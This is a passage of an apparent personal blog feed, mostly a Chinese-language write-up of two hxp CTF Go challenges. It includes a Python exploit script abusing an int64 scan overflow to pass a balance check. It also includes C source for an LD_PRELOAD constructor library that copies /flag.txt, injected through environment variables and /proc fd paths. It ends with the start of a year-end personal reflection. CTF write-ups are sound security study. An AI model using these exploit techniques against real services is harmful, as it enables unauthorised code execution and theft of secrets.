	})

	http.HandleFunc(&quot;POST /transfer&quot;, func(w http.ResponseWriter, r *http.Request) {
		mutex.Lock()
		defer mutex.Unlock()

		r.ParseForm()

		sender, _ := strconv.ParseInt(r.Form.Get(&quot;sender&quot;), 10, 64)
		amount, _ := strconv.ParseUint(r.Form.Get(&quot;amount&quot;), 10, 64)

		sum := Sum(sender)

		if sum &amp;lt; amount {
			http.Redirect(w, r, &quot;/?msg=Too+Poor+For+Transfer&quot;, http.StatusFound)
			return
		}

		db.Exec(&quot;INSERT INTO transactions (receiver, sender, subject, amount) VALUES (?, ?, ?, ?)&quot;, r.Form.Get(&quot;receiver&quot;), sender, r.Form.Get(&quot;subject&quot;), amount)
		http.Redirect(w, r, &quot;/?msg=Transferred&quot;, http.StatusFound)
	})

	http.HandleFunc(&quot;POST /flag&quot;, func(w http.ResponseWriter, r *http.Request) {
		mutex.Lock()
		defer mutex.Unlock()

		r.ParseForm()

		id, _ := strconv.ParseInt(r.Form.Get(&quot;id&quot;), 10, 64)
		sum := Sum(id)
		if sum &amp;gt;= 1337 {
			flag, _ := os.ReadFile(&quot;flag.txt&quot;)

			http.Redirect(w, r, &quot;/?msg=&quot;+string(flag), http.StatusFound)
			return
		}

		http.Redirect(w, r, &quot;/?msg=Too+Poor+For+Flag&quot;, http.StatusFound)
	})

	http.ListenAndServe(&quot;:13371&quot;, nil)
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们一点点看，只要user的amount大于1337就可以买flag，详情见这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	sum := Sum(id)
	if sum &amp;gt;= 1337 {
		flag, _ := os.ReadFile(&quot;flag.txt&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而sum的是sum函数片段，在这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Sum(userID int64) uint64 {
	if userID == 1 { // System is always bankrupt :/
		return 0
	}
rows, _ := db.Query(&quot;SELECT amount, receiver, sender FROM transactions&quot;)
defer rows.Close()

var sum uint64

for rows.Next() {
	transactions := transactions{}
	rows.Scan(&amp;amp;transactions.Amount, &amp;amp;transactions.Receiver, &amp;amp;transactions.Sender)

	if transactions.Receiver == userID {
		sum += transactions.Amount
	} else if transactions.Sender == userID {
		sum -= transactions.Amount
	}
}

return sum
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这种算钱的问题其实可以注意一点就是他们的单位差异，这里var sum uint64，把sum定义为一个uint64的空字符，开始的时候肯定找各种问题，但是这里其实都不行，首先这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type User struct {
	ID     int64
	Name   string
	Credit uint64
}

type transactions struct {
	Sender   int64
	Receiver int64
	Amount   uint64
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定义了user和交易表，然后看sql文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DROP TABLE IF EXISTS transactions;
DROP TABLE IF EXISTS users;

CREATE TABLE users (
    id SERIAL,
    name VARCHAR(255)
);
INSERT INTO users(name, id) VALUES (&apos;System&apos;, 1);

CREATE TABLE transactions (
    sender BIGINT unsigned NOT NULL,
    subject VARCHAR(255) NOT NULL,
    amount BIGINT unsigned NOT NULL,
    receiver BIGINT unsigned NOT NULL,
    FOREIGN KEY (sender) REFERENCES users(id),
    FOREIGN KEY (receiver) REFERENCES users(id),
    CHECK (receiver &amp;lt;&amp;gt; sender)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里定义的amout没有范围，receiver也没范围限制，但是上面的user的id，sender是int64,是有范围的，那么我们就要看看这个id什么时候定义到这个int64上，在这&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for rows.Next() {
	transactions := transactions{}
	rows.Scan(&amp;amp;transactions.Amount, &amp;amp;transactions.Receiver, &amp;amp;transactions.Sender)if transactions.Receiver == userID {
	sum += transactions.Amount
} else if transactions.Sender == userID {
	sum -= transactions.Amount
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;匹配谁是收款还是付款方的一个逻辑，但是这里的scan的时候有可能会出error，因为两个数据能容纳的最大大小不一样，database能容纳无限，但是int64最大只能9223372036854775807，如果超出最大会报错，所以，在amount我们输入的值后查询receiver报错后会把后面返回0，然后又因为下面的获取表单&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	sender, _ := strconv.ParseInt(r.Form.Get(&quot;sender&quot;), 10, 64)
	amount, _ := strconv.ParseUint(r.Form.Get(&quot;amount&quot;), 10, 64)

	sum := Sum(sender)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;刚刚看了半天理解了，我脑子坏了也是，这么简单业务逻辑不明白，就是sum是检查余额，然后全表查询那个转账方，如果有转出就扣钱，转入就加钱，就是他是动态的一个过程，然后我们把这一行查询全表给炸了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rows.Scan(&amp;amp;transactions.Amount, &amp;amp;transactions.Receiver, &amp;amp;transactions.Sender)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前面钱是对得然后后面的接收方直接不符合int64规范报错，然后又没有重定向这个error导致后面俩都成了0，结果就是没有查到一点东西，然后下面这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	sum := Sum(sender)

	if sum &amp;lt; amount {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个余额检查就通过了，然后就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;		db.Exec(&quot;INSERT INTO transactions (receiver, sender, subject, amount) VALUES (?, ?, ?, ?)&quot;, r.Form.Get(&quot;receiver&quot;), sender, r.Form.Get(&quot;subject&quot;), amount)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;插入数据库，但是下次余额检验又能通过，然后最后有非常多的转入同一账号的余额，到买flag的时候，就是这里，补充一下为什么最后买flag的是用户0，因为买flag的余额检验Receiver收款方还是会把报error也就是0，然后所有0都匹配了加钱&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sum := Sum(id)
		if sum &amp;gt;= 1337 {
			flag, _ := os.ReadFile(&quot;flag.txt&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这正常查询，然后直接爽爽拿flag&lt;/p&gt;
&lt;p&gt;补补exp:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

BASE = &quot;http://10.244.0.1:13371&quot;
OVER = &quot;9223372036854775808&quot;

s = requests.Session()

def post(path, data):
    r = s.post(BASE + path, data=data, allow_redirects=False, timeout=5)
    return r.status_code, r.headers.get(&quot;Location&quot;, &quot;&quot;)

# signup sender=2 (gets 10)
post(&quot;/signup&quot;, {&quot;name&quot;:&quot;a&quot;, &quot;id&quot;:&quot;2&quot;})
# signup overflow receiver (only for FK)
post(&quot;/signup&quot;, {&quot;name&quot;:&quot;b&quot;, &quot;id&quot;:OVER})

# pump Sum(0) by making receiver scan overflow
for _ in range(134):
    post(&quot;/transfer&quot;, {&quot;sender&quot;:&quot;2&quot;, &quot;receiver&quot;:OVER, &quot;subject&quot;:&quot;x&quot;, &quot;amount&quot;:&quot;10&quot;})

# get flag using id=0
r = s.post(BASE + &quot;/flag&quot;, data={&quot;id&quot;:&quot;0&quot;}, allow_redirects=True, timeout=5)
print(&quot;final_url:&quot;, r.url)      # /?msg=flag...
print(&quot;body_snip:&quot;, r.text[:200])
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;2.Dateiservierer&lt;/h1&gt;
&lt;p&gt;一样的Go，但是难度高了很多，先贴源码&lt;/p&gt;
&lt;p&gt;frontend.go&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

// frontend.go 详细注释说明：
// 该程序是一个轻量的前端守护进程，用来为每个用户会话启动一个后端二进制 `ds`：
// - 每次通过 POST 提交参数时，程序把表单字段转为环境变量并生成一个随机会话 ID（session），
//   将 SESSION=&amp;lt;session&amp;gt; 以及用户提供的其他字段放到新进程的环境中启动 `./ds`。
// - 后端 `ds` 以 unix domain socket 的方式在 /tmp/ds-&amp;lt;session&amp;gt;.socket 上监听。为了把 HTTP
//   请求路由到相应的 unix socket，前端使用了一个自定义的 Dial（`unixDialer`），它把
//   目标主机名（session）映射到对应的 socket 路径。
// - 前端为每个会话创建一个 `httputil.ReverseProxy`，并把它保存在 `backends` 中，随后
//   把来自浏览器的请求代理到对应的后端。
// 重要注意事项：程序通过启动外部二进制并依赖本地 unix socket 做进程间通信，适用于
// 在同一台机器上以短生命周期进程隔离请求的场景（比如 CTF 服务隔离）。

import (
	&quot;crypto/rand&quot;
	&quot;encoding/hex&quot;
	&quot;log&quot;
	&quot;net&quot;
	&quot;net/http&quot;
	&quot;net/http/httputil&quot;
	&quot;net/url&quot;
	&quot;os&quot;
	&quot;os/exec&quot;
	&quot;strings&quot;
	&quot;sync&quot;
	&quot;time&quot;
)

type unixDialer struct {
	net.Dialer
}

func (d *unixDialer) Dial(network, address string) (net.Conn, error) {
	// 自定义 Dial：ReverseProxy 会传入类似 &quot;session:80&quot; 的 address，
	// 我们只取 host 部分（即 session），并把它映射为本地 unix socket 路径：
	//   /tmp/ds-&amp;lt;session&amp;gt;.socket
	// 这样当 ReverseProxy 要与后端建立连接时，会连接到对应会话的 unix socket。
	// network 参数（比如 &quot;tcp&quot;）被忽略，统一通过 unix socket 连接。
	return d.Dialer.Dial(&quot;unix&quot;, &quot;/tmp/ds-&quot;+strings.Split(address, &quot;:&quot;)[0]+&quot;.socket&quot;)
}

var transport http.RoundTripper = &amp;amp;http.Transport{
	Proxy: http.ProxyFromEnvironment,
	Dial:  (&amp;amp;unixDialer{net.Dialer{Timeout: 5 * time.Second}}).Dial,
}

// backends 存储会话 ID -&amp;gt; ReverseProxy 的映射，用于把请求转发到对应的后端进程
// key: session（hex 字符串），value: 对应 session 的 ReverseProxy（负责把请求发到 unix socket）。
// 使用 sync.Map 以便并发访问（读多写少的场景）。当后端进程退出时，会从该 map 中删除对应项。
var backends sync.Map

func NewDS(config []string) string {
	bytes := make([]byte, 32)
	if _, err := rand.Read(bytes); err != nil {
		return &quot;&quot;
	}
	session := hex.EncodeToString(bytes)
	config = append(config, &quot;SESSION=&quot;+session)
	// 在新 goroutine 中启动后端二进制 `ds`，并传入环境变量
	// 当 `ds` 进程退出后，从 backends 中移除对应会话
    // 启动后端进程（不会阻塞当前 goroutine）
    // - 使用 exec.Command 启动可执行文件 ./ds
    // - 通过 cmd.Env 把当前环境和传入的 config 合并传给子进程
    // - 当 cmd.Run 返回（子进程退出）时，删除 backends 中对应的 session 映射
	go func() {
		cmd := exec.Command(&quot;./ds&quot;)
		cmd.Env = append(os.Environ(), config...)

		cmd.Run()
		backends.Delete(session)
	}()

	// 通过 session 构造一个伪造的 URL 主机名，ReverseProxy 会使用该主机名
	// 我们自定义的 Dial 会把这个 host 映射到本地的 unix socket
    // 为该 session 创建一个 ReverseProxy：我们通过构造 URL &quot;http://&amp;lt;session&amp;gt;&quot; 来设置
    // proxy 的 Target host。ReverseProxy 在发起连接时会使用上面自定义的 Dial，
    // 因此会去连接 /tmp/ds-&amp;lt;session&amp;gt;.socket。
	url, err := url.Parse(&quot;http://&quot; + session)
	if err != nil {
		return &quot;&quot;
	}
	proxy := httputil.NewSingleHostReverseProxy(url)
	proxy.Transport = transport

	backends.Store(session, proxy)
	return session
}

func main() {
	// POST /: 接收表单，按键值对拼接成环境变量，启动后端并设置 session cookie
    // POST /: 接收表单并启动新的后端会话
    // 请求参数示例： files=index.html&amp;amp;foo=bar
    // 会把每个参数转换成环境变量形式传给后端（key=value），并生成一个随机 session
    // 将 session 写入浏览器 cookie（有效期 180 秒），然后短暂停顿（等待后端启动）再重定向回 GET /
	http.HandleFunc(&quot;POST /&quot;, func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()

		fields := []string{}
		for key, value := range r.Form {
			// 把表单参数拼为 key=val 的形式传入后端环境
            // 将多值字段用逗号连接，形成 key=val1,val2 的形式
			fields = append(fields, key+&quot;=&quot;+strings.Join(value, &quot;,&quot;))
		}

		cookie := &amp;amp;http.Cookie{Name: &quot;session&quot;, Value: NewDS(fields), Path: &quot;/&quot;, Expires: time.Now().Add(180 * time.Second)}
		http.SetCookie(w, cookie)
		// 给后端一点时间启动，再重定向回首页
		time.Sleep(time.Second * 2)
		http.Redirect(w, r, &quot;/&quot;, http.StatusFound)
	})

	// GET /: 若有 session cookie，则把请求代理到对应后端；否则显示上传表单
    // GET /: 如果浏览器存在 session cookie，则查找对应的 ReverseProxy 并代理请求到后端；
    // 如果没有 session（或对应后端已退出），则返回一个简单的 HTML 界面，允许用户提交要提供的文件列表
	http.HandleFunc(&quot;GET /&quot;, func(w http.ResponseWriter, r *http.Request) {
		session := &quot;&quot;
		if cookie, err := r.Cookie(&quot;session&quot;); err == nil {
			session = cookie.Value
		}

		proxy, ok := backends.Load(session)

		if !ok {
			// 未找到后端，会话不存在时返回简单的 HTML 表单
            // 当没有可用后端时显示表单给用户
			w.Write([]byte(`&amp;lt;html&amp;gt;&amp;lt;h1&amp;gt;Dateiservierer&amp;lt;/h1&amp;gt;
					&amp;lt;label&amp;gt;Files&amp;lt;/label&amp;gt;
					&amp;lt;button onclick=&quot;window.form.innerHTML = &apos;&amp;lt;input name=files&amp;gt;&amp;lt;br&amp;gt;&apos; + window.form.innerHTML&quot;&amp;gt;➕&amp;lt;/button&amp;gt;
					&amp;lt;form method=POST id=form&amp;gt;
						&amp;lt;input name=files value=index.html&amp;gt;&amp;lt;br&amp;gt;
						&amp;lt;input type=submit value=&quot;Bitte servieren Sie&quot;&amp;gt;
					&amp;lt;/form&amp;gt;
					`))
			return
		}
		// 将请求转发到已启动的后端进程
		proxy.(*httputil.ReverseProxy).ServeHTTP(w, r)
	})

	srv := &amp;amp;http.Server{
		ReadTimeout:  5 * time.Second,
		WriteTimeout: 5 * time.Second,
		IdleTimeout:  10 * time.Second,
		Handler:      http.DefaultServeMux,
		Addr:         &quot;:1024&quot;,
	}
	log.Println(srv.ListenAndServe())
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ds.go&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package main

import (
	&quot;io&quot;
	&quot;net&quot;
	&quot;net/http&quot;
	&quot;os&quot;
	&quot;strconv&quot;
	&quot;strings&quot;
	&quot;time&quot;
)

// ds.go 注释说明：
// 这是后端二进制的源代码（被 frontend.go 启动），职责是：
// - 从环境变量 `files` 读取一个以逗号分隔的文件列表（可以是本地路径或 http(s) URL），
// - 在 unix domain socket `/tmp/ds-&amp;lt;SESSION&amp;gt;.socket` 上提供一个简单的 HTTP 服务，
//   客户端可以通过 query 参数 `file=&amp;lt;index&amp;gt;&amp;amp;resume=&amp;lt;offset&amp;gt;` 来请求文件内容或续传。
// - 每次最多读取并返回 8 MiB 数据；当 file 路径包含 &quot;flag&quot; 时，返回 401 以保护敏感文件。
// - 程序在启动 180 秒后自动退出，以便短生命周期会话模型（由 frontend 管理）。

var files = strings.Split(os.Getenv(&quot;files&quot;), &quot;,&quot;)

var client = &amp;amp;http.Client{
	Timeout: 5 * time.Second,
}

// `files` 变量：从环境变量 `files` 获取，以逗号分隔的路径或 URL 列表。
// 注意：如果环境变量为空，strings.Split 会返回 [&quot;&quot;], 请确保 frontend 在启动时传入合法参数。

// `client` 用于从远程 URL 下载文件，设置了 5 秒超时以防止长时间挂起。

func fileHandler(w http.ResponseWriter, req *http.Request) {
	// 解析要访问的文件索引（来自 query 参数 file）
	fileIndex, _ := strconv.Atoi(req.URL.Query().Get(&quot;file&quot;))
	// 使用取模以防 index 越界（安全防护，确保总能映射到 files 中某个项）
	filePath := files[fileIndex%len(files)]

	// 简单的敏感词检查：如果路径中包含 &quot;flag&quot;，返回 401，阻止直接读取 flag 文件
	if strings.Contains(filePath, &quot;flag&quot;) {
		http.Error(w, &quot;flag :(&quot;, http.StatusUnauthorized)
		return
	}

	var fd io.ReadSeekCloser

	// 支持两种来源：远程 URL（http/https）或本地文件路径
	if strings.HasPrefix(filePath, &quot;http://&quot;) || strings.HasPrefix(filePath, &quot;https://&quot;) {
		// 从远程下载到临时文件再读取，避免直接在内存中持有大文件
		resp, err := client.Get(filePath)
		if err != nil {
			http.Error(w, &quot;Get :(&quot;, http.StatusInternalServerError)
			return
		}
		defer resp.Body.Close()

		// 创建临时文件存储下载内容；会在函数退出前删除临时文件
		tempFile, err := os.CreateTemp(&quot;&quot;, &quot;download&quot;)
		if err != nil {
			http.Error(w, &quot;CreateTemp :(&quot;, http.StatusInternalServerError)
			return
		}
		defer os.Remove(tempFile.Name())
		// 复制最多 8 MiB 的数据到临时文件，防止下载超大文件耗尽资源
		io.Copy(tempFile, io.LimitReader(resp.Body, 8*1024*1024))

		fd = tempFile
	} else {
		// 直接打开本地文件
		file, err := os.Open(filePath)
		if err != nil {
			http.Error(w, &quot;Open :(&quot;, http.StatusInternalServerError)
			return
		}
		fd = file
	}

	// 确保在返回前关闭文件描述符
	defer fd.Close()

	// 支持续传：从 query 参数 resume 读取偏移量（字节）并 seek 到该位置
	r, _ := strconv.ParseInt(req.URL.Query().Get(&quot;resume&quot;), 10, 64)
	fd.Seek(r, io.SeekStart)
	// 最多向客户端写入 8 MiB 数据
	io.Copy(w, io.LimitReader(fd, 8*1024*1024))
}

func main() {
	// 设置一个 180 秒的定时器：到时退出进程，配合 frontend 的会话生命周期管理
	time.AfterFunc(180*time.Second, func() {
		os.Exit(0)
	})

	// 从环境中读取 SESSION（由 frontend 在启动时传入），这是 unix socket 名称的一部分
	session, ok := os.LookupEnv(&quot;SESSION&quot;)
	if !ok {
		panic(&quot;SESSION env not set&quot;)
	}

	// 将根路径的 GET 请求交给 fileHandler 处理
	http.HandleFunc(&quot;GET /&quot;, fileHandler)

	// 在 /tmp/ds-&amp;lt;session&amp;gt;.socket 上监听 unix domain socket，frontend 的自定义 Dial
	// 会根据 session 名称连接到这个 socket，从而实现 HTTP over unix socket 的反向代理
	unixListener, err := net.Listen(&quot;unix&quot;, &quot;/tmp/ds-&quot;+session+&quot;.socket&quot;)
	if err != nil {
		panic(err)
	}
	// 使用 http.Serve 把 unix socket 升级为 HTTP 服务
	http.Serve(unixListener, nil)
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个真的很有意思，让我们先来看看两个主路由，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
	// POST /: 接收表单，按键值对拼接成环境变量，启动后端并设置 session cookie
    // POST /: 接收表单并启动新的后端会话
    // 请求参数示例： files=index.html&amp;amp;foo=bar
    // 会把每个参数转换成环境变量形式传给后端（key=value），并生成一个随机 session
    // 将 session 写入浏览器 cookie（有效期 180 秒），然后短暂停顿（等待后端启动）再重定向回 GET /
	http.HandleFunc(&quot;POST /&quot;, func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()

		fields := []string{}
		for key, value := range r.Form {
			// 把表单参数拼为 key=val 的形式传入后端环境
            // 将多值字段用逗号连接，形成 key=val1,val2 的形式
			fields = append(fields, key+&quot;=&quot;+strings.Join(value, &quot;,&quot;))
		}

		cookie := &amp;amp;http.Cookie{Name: &quot;session&quot;, Value: NewDS(fields), Path: &quot;/&quot;, Expires: time.Now().Add(180 * time.Second)}
		http.SetCookie(w, cookie)
		// 给后端一点时间启动，再重定向回首页
		time.Sleep(time.Second * 2)
		http.Redirect(w, r, &quot;/&quot;, http.StatusFound)
	})

	// GET /: 若有 session cookie，则把请求代理到对应后端；否则显示上传表单
    // GET /: 如果浏览器存在 session cookie，则查找对应的 ReverseProxy 并代理请求到后端；
    // 如果没有 session（或对应后端已退出），则返回一个简单的 HTML 界面，允许用户提交要提供的文件列表
	http.HandleFunc(&quot;GET /&quot;, func(w http.ResponseWriter, r *http.Request) {
		session := &quot;&quot;
		if cookie, err := r.Cookie(&quot;session&quot;); err == nil {
			session = cookie.Value
		}

		proxy, ok := backends.Load(session)

		if !ok {
			// 未找到后端，会话不存在时返回简单的 HTML 表单
            // 当没有可用后端时显示表单给用户
			w.Write([]byte(`&amp;lt;html&amp;gt;&amp;lt;h1&amp;gt;Dateiservierer&amp;lt;/h1&amp;gt;
					&amp;lt;label&amp;gt;Files&amp;lt;/label&amp;gt;
					&amp;lt;button onclick=&quot;window.form.innerHTML = &apos;&amp;lt;input name=files&amp;gt;&amp;lt;br&amp;gt;&apos; + window.form.innerHTML&quot;&amp;gt;➕&amp;lt;/button&amp;gt;
					&amp;lt;form method=POST id=form&amp;gt;
						&amp;lt;input name=files value=index.html&amp;gt;&amp;lt;br&amp;gt;
						&amp;lt;input type=submit value=&quot;Bitte servieren Sie&quot;&amp;gt;
					&amp;lt;/form&amp;gt;
					`))
			return
		}
		// 将请求转发到已启动的后端进程
		proxy.(*httputil.ReverseProxy).ServeHTTP(w, r)
	})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到cookie := &amp;amp;http.Cookie{Name: &quot;session&quot;, Value: NewDS(fields), Path: &quot;/&quot;, Expires: time.Now().Add(180 * time.Second)}，这个NewDS函数我们可以溯源一下.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func NewDS(config []string) string {
	bytes := make([]byte, 32)
	if _, err := rand.Read(bytes); err != nil {
		return &quot;&quot;
	}
	session := hex.EncodeToString(bytes)
	config = append(config, &quot;SESSION=&quot;+session)
	// 在新 goroutine 中启动后端二进制 `ds`，并传入环境变量
	// 当 `ds` 进程退出后，从 backends 中移除对应会话
    // 启动后端进程（不会阻塞当前 goroutine）
    // - 使用 exec.Command 启动可执行文件 ./ds
    // - 通过 cmd.Env 把当前环境和传入的 config 合并传给子进程
    // - 当 cmd.Run 返回（子进程退出）时，删除 backends 中对应的 session 映射
	go func() {
		cmd := exec.Command(&quot;./ds&quot;)
		cmd.Env = append(os.Environ(), config...)

		cmd.Run()
		backends.Delete(session)
	}()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个session在原来状态下直接传入os.environ，而这个cmd对象就是ds.go，我们可以直接更改他的环境变量，ok，我们继续看逻辑，然后看看传入fs.go的东西会怎么处理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var files = strings.Split(os.Getenv(&quot;files&quot;), &quot;,&quot;)

var client = &amp;amp;http.Client{
	Timeout: 5 * time.Second,
}
func fileHandler(w http.ResponseWriter, req *http.Request) {
	// 解析要访问的文件索引（来自 query 参数 file）
	fileIndex, _ := strconv.Atoi(req.URL.Query().Get(&quot;file&quot;))
	// 使用取模以防 index 越界（安全防护，确保总能映射到 files 中某个项）
	filePath := files[fileIndex%len(files)]

	// 简单的敏感词检查：如果路径中包含 &quot;flag&quot;，返回 401，阻止直接读取 flag 文件
	if strings.Contains(filePath, &quot;flag&quot;) {
		http.Error(w, &quot;flag :(&quot;, http.StatusUnauthorized)
		return
	}

	var fd io.ReadSeekCloser

	// 支持两种来源：远程 URL（http/https）或本地文件路径
	if strings.HasPrefix(filePath, &quot;http://&quot;) || strings.HasPrefix(filePath, &quot;https://&quot;) {
		// 从远程下载到临时文件再读取，避免直接在内存中持有大文件
		resp, err := client.Get(filePath)
		if err != nil {
			http.Error(w, &quot;Get :(&quot;, http.StatusInternalServerError)
			return
		}
		defer resp.Body.Close()

		// 创建临时文件存储下载内容；会在函数退出前删除临时文件
		tempFile, err := os.CreateTemp(&quot;&quot;, &quot;download&quot;)
		if err != nil {
			http.Error(w, &quot;CreateTemp :(&quot;, http.StatusInternalServerError)
			return
		}
		defer os.Remove(tempFile.Name())
		// 复制最多 8 MiB 的数据到临时文件，防止下载超大文件耗尽资源
		io.Copy(tempFile, io.LimitReader(resp.Body, 8*1024*1024))

		fd = tempFile
	} else {
		// 直接打开本地文件
		file, err := os.Open(filePath)
		if err != nil {
			http.Error(w, &quot;Open :(&quot;, http.StatusInternalServerError)
			return
		}
		fd = file
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们原来上传的file字段的值是直接append到environ的，这里ds就是直接从environ中取出file字段的值，然后检查这里有没有含flag字段，如果没有就直接os.open(filepath)，在这里我原来是想了挺久怎么弄,虽然代码有其他可达的地方要考虑，不过吧，总是一个试错的过程，因为os调用的还是linux的一个解析规则，所以并不会对字符unicode或者是其他编码的字符进行归一化，所以这条路基本封死的，那我们看看我们还能控制什么，还有一个远程下载的，也就是说如果传入环境变量开头的是http开头就下载那个对应文件，这样我们可以控制环境变量，那是不是能控制LD_PRELOAD字段去预加载.so文件带出flag呢，当然也有限制，就是最多下载8mb，并且client变量还规定了只能5秒的下载时长，超时了就会退出，但是我们看看，这个client规定的是5秒退出，而这个模块是独立运行的，然后下载完立马删除，但是这里我们看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func main() {
	// 设置一个 180 秒的定时器：到时退出进程，配合 frontend 的会话生命周期管理
	time.AfterFunc(180*time.Second, func() {
		os.Exit(0)
	})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;180秒执行一次os.exit，那么只要在我们下载中途卡点180秒就会把后面的defer预加载函数截断，那样就能进行绕过，也就是说我们的文件被传入临时文件之后不会被删除，并且还会打开一个fd文件句柄，这样就能进行下一步操作，但是文件名是随机的，这又怎么办呢，如果不知道文件名就没法创建LD_PRELOAD字段指向.so了，我们要知道linux的fd的一个特性，/proc/&amp;lt;pid&amp;gt;/fd/&amp;lt;fd&amp;gt; 是一个特殊路径，它代表“该进程打开着的那个文件”。，那就可以直接构造那个LD_PRELOAD指向的路径，那么就下一次直接传编译过的.so,并且因为需要延时就加了点东西让他下载更慢，以下是 .so编译前的样子:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;

__attribute__((constructor))
static void init() {
    int in = open(&quot;/flag.txt&quot;, O_RDONLY);
    if (in &amp;lt; 0) return;

    int out = open(&quot;/tmp/leak&quot;, O_WRONLY|O_CREAT|O_TRUNC, 0644);
    if (out &amp;lt; 0) { close(in); return; }

    char buf[4096];
    ssize_t n;
    while ((n = read(in, buf, sizeof(buf))) &amp;gt; 0) {
        write(out, buf, (size_t)n);
    }
    close(in);
    close(out);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个就是预加载把flag.txt写进我们可读的形式，然后我们就可以拿到flag了，贴下奇怪的flag哈哈&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hxp{🍺🍻🍹🍾🍼es  ist angerichtet ... go fetch it yourself🤡🤹🏻‍♂️🤸🏿‍♀️.}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至于怎么知道哪个fd是我们编译的.so文件呢，这里提一嘴，.so编译后的开头是\x7fELF，可以通过脚本返回的text去找.so在哪个fd里，还有可以从/proc/self/sts查一些进程信息。&lt;/p&gt;
&lt;p&gt;不过其实还有另一条路是可以走的，那就是更狠的条件竞争，在下载的时候直接进行fd爆破，因为开头几个字节下载时间会很短，所以匹配会很容易，然后与此同时上传LD_PRELOAD字段到environ指向那个fd，然后同时get请求拿到写入到别的目录的flag，不过后者对网络要求更高。&lt;/p&gt;
&lt;p&gt;才疏学浅哈哈，打出来两题，写完wp还有1个多小时就2026了，要干什么呢~~~&lt;/p&gt;
</content:encoded></item><item><title>2025-2026萦梦sora的年度总结</title><link>https://ymsora.com/posts/2025-2026%E5%B9%B4%E5%BA%A6%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://ymsora.com/posts/2025-2026%E5%B9%B4%E5%BA%A6%E6%80%BB%E7%BB%93/</guid><description>年度总结咳咳</description><pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;🍬 前言&lt;/h2&gt;
&lt;p&gt;2025年对我来说，不平淡还充满着坎坷，虽然记忆时常会中断很厉害，但是总归是顺利度过了吧~&lt;/p&gt;
&lt;h2&gt;🧭 高中历程&lt;/h2&gt;
&lt;p&gt;在2025年初我想起来还是听着morgana的那首歌跨年的,今年跨年还想那么做，&lt;/p&gt;
&lt;p&gt;上半年紧张的高中生涯终究是拉下了帷幕，有时候有些青春逝去的感觉吧，&lt;/p&gt;
&lt;p&gt;高三后半年是自不用说的，压力巨大，在中国教育体系下也没有什么办法，想那时候还是对自己灌输了很多理念吧，&lt;/p&gt;
&lt;p&gt;不然也走不下去，虽然这样，在假期中我还是一直在开发一些新的领域，&lt;/p&gt;
&lt;p&gt;做一些新的尝试，不过那时候还是会一直认为自己做的不够好吧，我还是很会压力自己的haha🍇&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/20255.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;❄️爱好&lt;/h2&gt;
&lt;p&gt;因为受很多方面的影响，我很喜欢计算机或者科技数码的东西，其实不止这一年，&lt;/p&gt;
&lt;p&gt;这几年有时间都会捣鼓乱七八糟的东西，也接触了很多，喜欢玩各种各样的东西。&lt;/p&gt;
&lt;p&gt;在VRC有需要的时候学了3Dunity，blender，然后后面为了生产力创作学了sd，摄影，lr，&lt;/p&gt;
&lt;p&gt;我的爱好更多会和我自身契合，也一直在弹电吉他，大学还去了乐队不过因为没时间退了，&lt;/p&gt;
&lt;p&gt;总的来说，我会想维持住我的一些创造力去支持我的创作。其实现在回看，更多的我是在拓宽认知面吧，&lt;/p&gt;
&lt;p&gt;在高中也一直在探寻自身，直到找到自己的理想和事业，这也和我追求的东西息息相关。&lt;/p&gt;
&lt;p&gt;话说我是很喜欢玩游戏的，挺倾向于在游戏中去体会故事，不论是视觉小说还是rpg,独立游戏又或者是3a，&lt;/p&gt;
&lt;p&gt;也是存在很多情愫吧对我来说，今年推的最爱估计是P4G了👒，乡村日常真的很棒...&lt;/p&gt;
